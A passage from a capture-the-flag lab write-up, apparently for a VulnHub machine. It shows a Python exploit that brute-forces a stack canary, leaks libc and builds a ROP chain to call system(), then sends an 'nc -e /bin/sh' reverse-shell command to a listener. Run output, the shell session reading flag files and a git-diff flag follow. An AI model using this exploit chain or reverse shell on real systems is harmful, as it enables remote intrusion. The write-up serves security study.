system_addr = (libc_base + system_libc_offset)
print"[+] sysem() is at: ", hex(system_addr)

print"\n[+] Sending payload!!"

print sockFD
sockFD += 1

payload = ""
payload += "A" * canaryCounter
payload += canary
payload += pack("<Q", 0x00)

# Stage 2: Save string to writable location
payload += pack("<Q", poprdi)		# pop rdi
payload += pack("<Q", sockFD)		# socket to read from
payload += pack("<Q", poprsi)		# pop rsi
payload += pack("<Q", 0x601010)		# location to write to
payload += pack("<Q", sockFD)		# junk for r15
payload += pack("<Q", read_plt)		# return to read()

# Stage 3: call system() with location of string
payload += pack("<Q", poprdi)
payload += pack("<Q", 0x601010)
payload += pack("<Q", system_addr)

s = socket()
s.connect(("127.0.0.1", 7979))
print s.recv(1024)
s.send(payload)
time.sleep(0.1)
# Stage 3: send command
print "[+] Sending reverse_shell command"
for i in range(0, 1000):
	s.send('/bin/nc 10.0.1.8 443 -e /bin/sh\x00')

Now let’s run it and see what we get!

bob@baffle:~$ python exploit.py
[+] Getting canary offset

[+] Server response User to query: Checking...
Don't know anything about this user.

[+] Canary offset: 1001
[+] Bruteforcing Canary
[*] Canary currently: 00
[*] Canary currently: 0011
[*] Canary currently: 00111a
[*] Canary currently: 00111ae2
[*] Canary currently: 00111ae23d
[*] Canary currently: 00111ae23d56
[*] Canary currently: 00111ae23d561c
[*] Canary currently: 00111ae23d561c63
[+] Canary found: 00111ae23d561c63
User to query: Checking...
Don't know anything about this user.
 �ap��	@ �kp��[gp�P�[p�
[+] memset() is at:  0x7fee7061f620
[+] libc base is at:  0x7fee7059a000
[+] sysem() is at:  0x7fee705db490

[+] Sending payload!!
2824
Socket fd: 2825

[+] Sending reverse_shell command

...SNIP...

root@kali:/mnt/hgfs/kali64# nc -lnvp 443
listening on [any] 443 ...
connect to [10.0.1.8] from (UNKNOWN) [10.0.1.9] 56791
id              
uid=1000(vulnhub) gid=1000(vulnhub) groups=1000(vulnhub),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev)
pwd
/home/vulnhub
ls -al
total 40
drwx------ 3 vulnhub vulnhub 4096 Oct 25 16:49 .
drwxr-xr-x 6 root    root    4096 Oct 20 03:38 ..
-rw------- 1 vulnhub vulnhub    0 Oct 20 03:28 .bash_history
-rw-r--r-- 1 vulnhub vulnhub  220 Sep 12 15:05 .bash_logout
-rw-r--r-- 1 vulnhub vulnhub 3515 Sep 12 15:05 .bashrc
-rw-r--r-- 1 vulnhub vulnhub   45 Oct 25 16:49 flag.txt
-rw-r--r-- 1 vulnhub vulnhub  504 Jan  2 06:04 log.txt
drwxr-xr-x 2 root    root    4096 Oct 25 16:46 .my_loot
-rw-r--r-- 1 vulnhub vulnhub  675 Sep 12 15:05 .profile
-rwx------ 1 vulnhub vulnhub  297 Oct 20 03:21 run_service.sh
-rw-r--r-- 1 vulnhub vulnhub   74 Oct 20 02:08 .selected_editor
   
cat flag.txt
Sorry Mario. The flag is in another castle. 

cd .my_loot

ls -al
total 12
drwxr-xr-x 2 root    root    4096 Oct 25 16:46 .
drwx------ 3 vulnhub vulnhub 4096 Oct 25 16:49 ..
-rw-r--r-- 1 root    root     274 Oct 25 16:46 flag.txt

cat flag.txt


        !!! CONGRATULATIONS !!!

                 .-"-.
                / 4 4 \
                \_ v _/
                //   \\      
               ((     ))
         =======""===""=======
                  |||
                  '|'

      FLAG{i_tot_i_saw_a_puddy_tat}

And lastly, the other flag is hidden in the git repo. Look below, I drew an arrow for you.

@@ -32,7 +32,7 @@ int main(int argc, char *argv[]) {
 
     memset(buf, 0, sizeof(buf)); 
     n = read(0, buf, sizeof(buf)); 
-    parse_request(buf, n);
+    p{ARSE_REQUEST}(buf, n); <--- This is the flag!
 
     return 0; 

END